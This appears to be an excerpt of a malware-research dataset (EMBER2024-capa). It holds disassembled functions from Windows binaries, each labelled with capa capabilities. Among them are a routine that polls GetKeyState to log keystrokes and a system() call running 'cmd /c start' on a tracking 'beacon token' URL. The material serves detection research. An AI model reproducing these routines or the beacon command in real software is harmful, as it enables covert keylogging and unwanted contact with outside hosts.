joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140005778
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x1423b1010]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.1400014c4
xor ebx, ebx
cmp qword [0x1423b3b08], rbx
mov rdi, rax
jne 0x14000588b
lea rcx, str.USER32.DLL
call qword [sym.imp.kernel32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x140005962
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x140005962
mov rcx, rax
call qword [sym.imp.kernel32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x1423b3b08], rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.kernel32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x1423b3b10], rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.kernel32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x1423b3b18], rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.kernel32.dll_EncodePointer]
mov r11, rax
mov qword [0x1423b3b28], rax
test rax, rax
je 0x140005882
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.kernel32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.kernel32.dll_EncodePointer]
mov qword [0x1423b3b20], rax
jmp 0x140005892
mov rax, qword [0x1423b3b20]
jmp 0x140005899
mov rax, qword [0x1423b3b20]
mov r11, qword [0x1423b3b28]
cmp rax, rdi
je 0x140005900
cmp r11, rdi
je 0x140005900
mov rcx, rax
call qword [sym.imp.kernel32.dll_DecodePointer]
mov rcx, qword [0x1423b3b28]
mov rsi, rax
call qword [sym.imp.kernel32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x140005900
test rax, rax
je 0x140005900
call rsi
test rax, rax
je 0x1400058fa
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x1400058fa
test byte [rsp + 0x40], 1
jne 0x140005900
bts ebp, 0x15
jmp 0x140005940
mov rcx, qword [0x1423b3b10]
cmp rcx, rdi
je 0x140005940
call qword [sym.imp.kernel32.dll_DecodePointer]
test rax, rax
je 0x140005940
call rax
mov rbx, rax
test rax, rax
je 0x140005940
mov rcx, qword [0x1423b3b18]
cmp rcx, rdi
je 0x140005940
call qword [sym.imp.kernel32.dll_DecodePointer]
test rax, rax
je 0x140005940
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x1423b3b08]
call qword [sym.imp.kernel32.dll_DecodePointer]
test rax, rax
je 0x140005962
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x140005964
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140005384
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140005cab
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x1423b1010]
jne 0x14000539e
rol rcx, 0x10
test cx, 0xffff
jne 0x14000539a
repz ret
ror rcx, 0x10
jmp 0x140005c04
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x1423b3bd0]
call qword [sym.imp.kernel32.dll_RtlCaptureContext]
mov rax, qword [0x1423b3cc8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.kernel32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140005c89
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x1423b3bd0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.kernel32.dll_RtlVirtualUnwind
jmp 0x140005cab
mov rax, qword [rsp + 0x88]
mov qword [0x1423b3cc8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x1423b3c68], rax
mov rax, qword [0x1423b3cc8]
mov qword [0x1423b3b40], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1423b3c50], rax
mov dword [0x1423b3b30], 0xc0000409
mov dword [0x1423b3b34], 1
mov rax, qword [0x1423b1010]
mov qword [rsp + 0x68], rax
mov rax, qword [0x1423b1018]
mov qword [rsp + 0x70], rax
call qword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x1423b3bc8], eax
mov ecx, 1
call fcn.140005764
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
lea rcx, str.0__B
call qword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x1423b3bc8], 0
jne 0x140005d32
mov ecx, 1
call fcn.140005764
call qword [sym.imp.kernel32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.kernel32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x00404510]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x00404520]
mov dword [rax], 1
mov rax, qword [0x00404530]
mov dword [rax], 1
mov rax, qword [0x00404500]
mov dword [rax], 1
mov rax, qword [0x004043f0]
cmp word [rax], 0x5a4d
jne 0x401067
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x4010c0
mov rax, qword [0x004044f0]
mov dword [0x0040700c], ecx
mov eax, dword [rax]
test eax, eax
jne 0x4010b0
mov ecx, 1
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x004044b0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x004043a0]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 2
call sym.__set_app_type
jmp 0x401084
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x401108
cmp dx, 0x20b
jne 0x401067
cmp dword [rax + 0x84], 0xe
jbe 0x401067
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x401067
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401067
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x401067

Function at 0x401560
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
call dbg.__main
lea rcx, str.cmd__c_start_https:__toresavi.com_offer_beacon_token944m7i0ytz2u7sb66a7vl06m0264jl6h77z9a366gql2g407fk59i9zu5
call sym.system
nop
add rsp, 0x20
pop rbp
ret

Function at 0x401a30
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]
Function at 0x1400113c0
Capabilities:
Get geographical location
Get keyboard layout

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [0x1403f4a10]
test rax, rax
je 0x1400113db
mov rbx, qword [rax + 0x98]
jmp 0x1400113dd
xor ebx, ebx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
shr rax, 0x10
mov r9d, 4
movzx ecx, ax
lea r8, [rbx + 0x2c]
mov edx, 0x20001004
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
jne 0x140011408
and dword [rbx + 0x2c], eax
add rsp, 0x20
pop rbx
ret

Function at 0x140011690
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, qword [0x1403f4a10]
mov ecx, send
add rdi, 8
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
mov bl, 1
and al, bl
mov edx, 0x1000
mov r8b, al
mov rcx, rdi
call fcn.14001430c
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
mov edx, 0x2000
and al, bl
mov rcx, rdi
mov r8b, al
call fcn.14001430c
mov ecx, reloc.WS2_32.dll_select
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
mov edx, 0x4000
and al, bl
mov rcx, rdi
mov r8b, al
call fcn.14001430c
mov ecx, 0x5b
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
test bl, al
jne 0x14001172d
mov ecx, 0x5c
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
test bl, al
jne 0x14001172d
xor ebx, ebx
mov r8b, bl
mov edx, 0x8000
mov rcx, rdi
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp fcn.14001430c
Function at 0x14001486c
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
not r8d
mov r10, rcx
mov r9d, r8d
test rdx, rdx
je 0x1400148c6
mov r11b, 0x23
lea rbx, [0x14013fbc0]
movzx edi, byte [r10]
dec rdx
inc r10
cmp dil, r11b
jne 0x1400148b0
cmp rdx, 2
jb 0x1400148b0
cmp byte [r10], r11b
jne 0x1400148b0
cmp byte [r10 + 1], r11b
cmove r9d, r8d
movzx ecx, r9b
xor rcx, rdi
shr r9d, 8
xor r9d, dword [rbx + rcx*4]
test rdx, rdx
jne 0x14001488e
jmp 0x140014907
mov dl, byte [rcx]
inc r10
test dl, dl
je 0x140014907
mov r11b, 0x23
lea rbx, [0x14013fbc0]
cmp dl, r11b
jne 0x1400148eb
cmp byte [r10], r11b
jne 0x1400148eb
cmp byte [r10 + 1], r11b
cmove r9d, r8d
movzx ecx, r9b
movzx eax, dl
mov dl, byte [r10]
xor rcx, rax
shr r9d, 8
inc r10
xor r9d, dword [rbx + rcx*4]
test dl, dl
jne 0x1400148d9
mov rbx, qword [rsp + 8]
not r9d
mov rdi, qword [rsp + 0x10]
mov eax, r9d
ret

Function at 0x140014a74
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov r14, r8
test r8, r8
je 0x140014a95
and qword [r8], 0
lea rdx, [0x14013f694]
call fcn.140014918
mov rbx, rax
test rax, rax
je 0x140014b50
mov rcx, rax
call fcn.1400d0a18
mov esi, eax
cmp eax, 0xffffffff
je 0x140014b48
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call fcn.1400d1554
test eax, eax
jne 0x140014b48
mov rcx, rbx
call fcn.1400d0a18
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x140014b48
xor r8d, r8d
mov edx, esi
mov rcx, rbx
call fcn.1400d1554
test eax, eax
jne 0x140014b48
mov rsi, rdi
cmp rdi, 0xffffffffffffffff
je 0x140014b48
mov rcx, rdi
call fcn.14001785c
mov rdi, rax
test rax, rax
je 0x140014b48
mov r9, rbx
mov r8, rsi
mov edx, 1
mov rcx, rax
call fcn.1400d79f4
mov rcx, rbx
cmp rax, rsi
je 0x140014b36
call fcn.1400d11b4
mov rcx, rdi
call fcn.1400178a0
jmp 0x140014b50
call fcn.1400d11b4
test r14, r14
je 0x140014b43
mov qword [r14], rsi
mov rax, rdi
jmp 0x140014b52
mov rcx, rbx
call fcn.1400d11b4
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x14001f830
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push rbx
sub rsp, 0x30
mov rax, qword [0x140160140]
xor rax, rsp
mov qword [rsp + 0x28], rax
movsxd r8, dword [rcx + 0x108]
mov r11d, 4
mov rax, qword [rcx + 0x110]
mov r9, rcx
mov dword [rsp + 0x20], edx
mov r10d, r11d
mov ebx, dword [rax + r8*4 - 4]
lea r8, [rsp + 0x20]
not ebx
movzx eax, byte [r8]
inc r8
movzx ecx, bl
xor rcx, rax
shr ebx, 8
lea rax, [0x14013fbc0]
xor ebx, dword [rax + rcx*4]
sub r10, 1
jne 0x14001f86f
mov rcx, qword [r9]
not ebx
cmp dword [rcx + 0x40cc], ebx
jne 0x14001f8a9
movsxd r8, edx
mov ecx, ebx
mov edx, r11d
call fcn.140027f60
mov eax, ebx
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.1400c86e0
add rsp, 0x30
pop rbx
ret

Function at 0x14001f8c0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140160140]
xor rax, rsp
mov qword [rsp + 0x10], rax
movss xmm2, dword [rcx + 0x128]
lea r9, [rsp]
movss xmm3, dword [rcx + 0x12c]
mov r10d, reloc.WS2_32.dll_recv
movss xmm0, dword [rdx]
movss xmm1, dword [rdx + 4]
subss xmm0, xmm2
mov rax, qword [rcx + 0x110]
subss xmm1, xmm3
movsxd rcx, dword [rcx + 0x108]
movss dword [rsp], xmm0
movss xmm0, dword [rdx + 8]
mov r8d, dword [rax + rcx*4 - 4]
subss xmm0, xmm2
movss dword [rsp + 4], xmm1
not r8d
movss xmm1, dword [rdx + 0xc]
subss xmm1, xmm3
movss dword [rsp + 8], xmm0
movss dword [rsp + 0xc], xmm1
movzx ecx, byte [r9]
lea rax, [0x14013fbc0]
movzx edx, r8b
inc r9
xor rdx, rcx
shr r8d, 8
xor r8d, dword [rax + rdx*4]
sub r10, 1
jne 0x14001f93d
not r8d
mov eax, r8d
mov rcx, qword [rsp + 0x10]
xor rcx, rsp
call fcn.1400c86e0
add rsp, 0x28
ret
Function at 0x14003d18c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
xor r10d, r10d
movzx r14d, cx
mov edi, r14d
mov r15, r9
shr edi, 8
mov rbp, r8
mov r12, rdx
mov esi, r14d
mov ebx, r10d
mov r11d, r10d
test r8, r8
je 0x14003d213
movzx eax, word [r12 + r11*2]
mov edx, eax
movzx ecx, al
shr edx, 8
add edx, ebx
cmp edi, ecx
jb 0x14003d213
jne 0x14003d209
movsxd rcx, ebx
movsxd r9, edx
cmp rcx, r9
jge 0x14003d209
mov eax, 0xff
movzx r8d, r14w
and r8w, ax
movzx eax, byte [rcx + r15]
cmp ax, r8w
je 0x14003d23c
inc rcx
cmp rcx, r9
jl 0x14003d1f6
inc r11
mov ebx, edx
cmp r11, rbp
jb 0x14003d1c9
mov cl, 1
cmp qword [rsp + 0x48], r10
jbe 0x14003d253
mov r8, qword [rsp + 0x40]
movzx eax, byte [r10 + r8]
test al, al
jns 0x14003d240
inc r10
and eax, 0x7f
shl eax, 8
movzx edx, byte [r10 + r8]
or edx, eax
jmp 0x14003d242
xor al, al
jmp 0x14003d255
mov edx, eax
sub esi, edx
js 0x14003d253
xor cl, 1
inc r10
cmp r10, qword [rsp + 0x48]
jb 0x14003d221
mov al, cl
mov rbx, qword [rsp + 0x20]
mov rbp, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
pop r15
pop r14
pop r12
ret
Function at 0x14003d728
Capabilities:
Access peb ldr_data

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xb0
mov rax, qword [0x140160140]
xor rax, rsp
mov qword [rbp + 0x27], rax
mov r14, rcx
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x10
mov rbx, qword [rsi]
cmp rbx, rsi
je 0x14003d909
xor r13d, r13d
test rbx, rbx
je 0x14003d8fd
mov rcx, qword [rbx + 0x60]
mov qword [rbp - 0x19], rcx
or rax, 0xffffffffffffffff
inc rax
cmp word [rcx + rax*2], r13w
jne 0x14003d791
mov qword [rbp - 0x11], rax
movaps xmm0, xmmword [rbp - 0x19]
movdqa xmmword [rbp - 9], xmm0
lea rdx, [rbp - 9]
lea rcx, [rbp + 7]
call fcn.14003d270
nop
lea r15, [rbp + 7]
mov rcx, qword [rbp + 7]
mov r8, qword [rbp + 0x1f]
cmp r8, 0xf
cmova r15, rcx
lea r12, [rbp + 7]
cmova r12, rcx
mov r9, qword [rbp + 0x17]
add r12, r9
lea rdi, [rbp + 7]
cmp r8, 0xf
cmova rdi, rcx
cmp rdi, r12
je 0x14003d80d
sub r15, rdi
movsx ecx, byte [rdi]
call fcn.1400ddbc4
mov byte [r15 + rdi], al
inc rdi
cmp rdi, r12
jne 0x14003d7ed
mov r8, qword [rbp + 0x1f]
mov r9, qword [rbp + 0x17]
mov rcx, qword [rbp + 7]
xorps xmm0, xmm0
movups xmmword [rbp - 0x59], xmm0
mov qword [rbp - 0x49], r13
mov qword [rbp - 0x41], r13
lea rdx, [rbp + 7]
cmp r8, 0xf
cmova rdx, rcx
mov r8, r9
lea rcx, [rbp - 0x59]
call fcn.14004d09c
mov rcx, qword [rbx + 0x30]
mov qword [rbp - 0x39], rcx
mov r8d, dword [rbx + 0x40]
mov qword [rbp - 0x31], r8
mov byte [rbp - 0x29], r13b
mov rdx, qword [r14 + 8]
cmp rdx, qword [r14 + 0x10]
je 0x14003d87d
movups xmm0, xmmword [rbp - 0x59]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp - 0x49]
movups xmmword [rdx + 0x10], xmm1
mov eax, send
mov byte [rbp - 0x59], r13b
mov qword [rdx + 0x20], rcx
mov qword [rdx + 0x28], r8
mov byte [rdx + 0x30], r13b
add qword [r14 + 8], 0x38
jmp 0x14003d88d
lea r8, [rbp - 0x59]
mov rcx, r14
call fcn.14004fbc0
mov rax, qword [rbp - 0x41]
cmp rax, 0xf
jbe 0x14003d8c6
lea rdx, [rax + 1]
mov rcx, qword [rbp - 0x59]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003d8c0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003d958
call fcn.1400c8ac0
nop
mov rdx, qword [rbp + 0x1f]
cmp rdx, 0xf
jbe 0x14003d8fd
inc rdx
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003d8f8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003d95e
call fcn.1400c8ac0
mov rbx, qword [rbx]
cmp rbx, rsi
jne 0x14003d77c
mov rcx, qword [r14 + 8]
sub rcx, qword [r14]
movabs rax, 0x4924924924924925
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rax, rdx
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.1400c86e0
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400dd534
nop
call fcn.1400dd534
int3
Function at 0x14003feb0
Capabilities:
Map section object

Disassembly:
mov r11, rsp
sub rsp, 0x78
mov rax, qword [0x140160140]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov eax, dword [rsp + 0xa0]
mov dword [rsp + 0x48], eax
lea rax, [r11 - 0x20]
mov dword [rsp + 0x40], 0x400000
mov dword [rsp + 0x38], 2
mov qword [r11 - 0x48], rax
lea rax, [r11 - 0x18]
mov qword [r11 - 0x50], rax
and qword [r11 - 0x58], 0
mov qword [r11 - 0x18], r9
xor r9d, r9d
mov qword [r11 - 0x28], rdx
or rdx, 0xffffffffffffffff
mov qword [r11 - 0x20], r8
lea r8, [r11 - 0x28]
call qword [sym.imp.ntdll.dll_NtMapViewOfSection]
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.1400c86e0
add rsp, 0x78
ret

Function at 0x14003ff28
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x20
mov rbp, qword [rcx + 0x30]
mov rsi, rdx
mov r8d, dword [rcx + 0x54]
mov rbx, rcx
mov rdx, rbp
mov rcx, rsi
call fcn.1400f9370
movzx eax, word [rbx + 0x14]
lea rdi, [rbx + 0x18]
add rdi, rax
movzx eax, word [rbx + 6]
lea rcx, [rax + rax*4]
lea rbx, [rdi + rcx*8]
jmp 0x14003ff7e
mov eax, dword [rdi + 0xc]
mov r8d, dword [rdi + 8]
lea rdx, [rax + rbp]
lea rcx, [rax + rsi]
call fcn.1400f9370
add rdi, 0x28
cmp rdi, rbx
jne 0x14003ff66
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret
Function at 0x140040734
Capabilities:
Access peb ldr_data

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xb0
mov rax, qword [0x140160140]
xor rax, rsp
mov qword [rbp + 0x27], rax
mov r14, rcx
mov rax, qword gs:[0x60]
mov rdi, qword [rax + 0x68]
mov eax, dword [rdi + 0x18]
mov dword [rcx + 0x40], eax
xor r8d, r8d
mov esi, r8d
cmp dword [rdi + 0xc], r8d
jbe 0x1400408bb
mov r12d, esi
mov r13d, dword [rdi + 0x14]
add r13, rdi
mov eax, dword [r13 + r12*8 + 4]
lea rdx, [rax + rax*2]
mov ecx, dword [rdi + 0x10]
add rcx, rdi
mov eax, dword [rcx + rdx*8 + 0x14]
dec eax
lea rbx, [rax + rax*4]
mov r15d, dword [rcx + rdx*8 + 0x10]
add r15, rdi
xorps xmm0, xmm0
movups xmmword [rbp + 7], xmm0
mov qword [rbp + 0x17], r8
mov qword [rbp + 0x1f], 7
mov word [rbp + 7], r8w
mov edx, dword [r15 + rbx*4 + 0x10]
test rdx, rdx
jne 0x1400407e4
mov qword [rbp + 0x17], rdx
mov word [rbp + rdx*2 + 7], r8w
jmp 0x1400407f0
xor r8d, r8d
lea rcx, [rbp + 7]
call fcn.14004b248
lea rcx, [rbp + 7]
cmp qword [rbp + 0x1f], 7
cmova rcx, qword [rbp + 7]
mov r8d, dword [r15 + rbx*4 + 0x10]
mov edx, dword [r15 + rbx*4 + 0xc]
add rdx, rdi
call fcn.1400f9370
lea rax, [rbp + 7]
cmp qword [rbp + 0x1f], 7
cmova rax, qword [rbp + 7]
mov qword [rbp - 0x49], rax
mov rax, qword [rbp + 0x17]
mov qword [rbp - 0x41], rax
movaps xmm0, xmmword [rbp - 0x49]
movdqa xmmword [rbp - 0x39], xmm0
lea rdx, [rbp - 0x39]
lea rcx, [rbp - 0x29]
call fcn.14003d270
mov rbx, rax
mov ecx, dword [r13 + r12*8]
mov dword [rbp - 0x59], ecx
lea r8, [rbp - 0x59]
lea rdx, [rbp - 9]
mov rcx, r14
call fcn.14004caec
mov rcx, qword [rax]
add rcx, 0x18
mov rdx, rbx
call fcn.14004acc8
nop
mov rdx, qword [rbp - 0x11]
cmp rdx, 0xf
jbe 0x1400408a3
inc rdx
mov rcx, qword [rbp - 0x29]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004089d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400408e8
call fcn.1400c8ac0
nop
lea rcx, [rbp + 7]
call fcn.14004b1e4
inc esi
cmp esi, dword [rdi + 0xc]
jae 0x1400408bb
xor r8d, r8d
jmp 0x14004078b
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.1400c86e0
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400dd534
nop
int3
Function at 0x140048580
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x30
mov rax, qword [0x140160140]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov rdi, qword [rcx + 0x18]
xor r14d, r14d
mov rbp, rdx
mov r9d, dword [rdi + 0x3c]
add r9, rdi
cmp dword [r9 + 0x74], 5
ja 0x1400485be
mov eax, r14d
jmp 0x1400485d0
lea rcx, [r9 + 0xa0]
mov eax, dword [rcx + 4]
neg eax
sbb rax, rax
and rax, rcx
cmp dword [rax + 4], r14d
je 0x140048640
mov r10, r14
mov r8d, dword [rax]
cmp word [r9 + 6], r14w
je 0x140048620
movzx ebx, word [r9 + 6]
mov r11, r14
cmp r14, rbx
jb 0x1400485f5
mov rdx, r14
jmp 0x140048604
movzx edx, word [r9 + 0x14]
add rdx, 0x18
add rdx, r11
add rdx, r9
mov ecx, dword [rdx + 0xc]
cmp ecx, r8d
ja 0x140048614
add ecx, dword [rdx + 8]
cmp r8d, ecx
jb 0x140048660
inc r10
add r11, 0x28
cmp r10, rbx
jne 0x1400485ee
cmp r8d, dword [r9 + 0x54]
jae 0x140048637
mov eax, dword [r9 + 0x54]
lea rcx, [r8 + 1]
lea rbx, [r8 + rdi]
cmp rcx, rax
jbe 0x14004863a
mov rbx, r14
cmp dword [rbx + 4], r14d
jne 0x1400486bb
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.1400c86e0
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
add rsp, 0x30
pop r14
pop rdi
pop rsi
ret
test rdx, rdx
je 0x140048620
sub r8d, dword [rdx + 0xc]
mov ecx, dword [rdx + 0x10]
mov r9d, r8d
lea rax, [r8 + 1]
cmp rax, rcx
ja 0x140048637
mov ebx, dword [rdx + 0x14]
add rbx, rdi
add rbx, r9
jmp 0x14004863a
mov edi, dword [rbx + 4]
lea rsi, [rbx + 8]
add rdi, rbx
jmp 0x1400486b0
mov rcx, qword [rbp + 0x38]
mov eax, dword [rbx]
mov dword [rsp + 0x20], eax
test rcx, rcx
je 0x1400486c5
mov rax, qword [rcx]
lea rdx, [rsp + 0x20]
mov r8, rsi
call qword [rax + reloc.WS2_32.dll_recv]
add rsi, 2
cmp rsi, rdi
jne 0x14004868f
mov eax, dword [rbx + 4]
add rbx, rax
cmp dword [rbx], r14d
jne 0x140048683
jmp 0x140048640
call fcn.1400c9ad8
int3
Function at 0x140049798
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x1400497b8
xor eax, eax
jmp 0x14004989e
cmp qword [rcx + 0x68], 0
je 0x1400497c9
call fcn.14004ab24
jmp 0x14004989e
mov rax, qword [rcx + 0x38]
mov rdi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x1400497e0
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1400497e2
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140049814
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.1400f9370
mov rax, qword [rsi + 0x50]
add r14, rbx
sub rdi, rbx
sub dword [rax], ebx
mov rcx, qword [rsi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x140049898
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x14004984b
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x140049874
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.1400d79f4
add r14, rax
sub rdi, rax
cmp rax, rbx
jne 0x140049898
cmp rdi, rbx
ja 0x140049852
test rdi, rdi
je 0x140049898
mov r9, qword [rsi + 0x80]
mov r8, rdi
mov edx, 1
mov rcx, r14
call fcn.1400d79f4
sub rdi, rax
sub rbp, rdi
mov rax, rbp
add rsp, 0x20
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret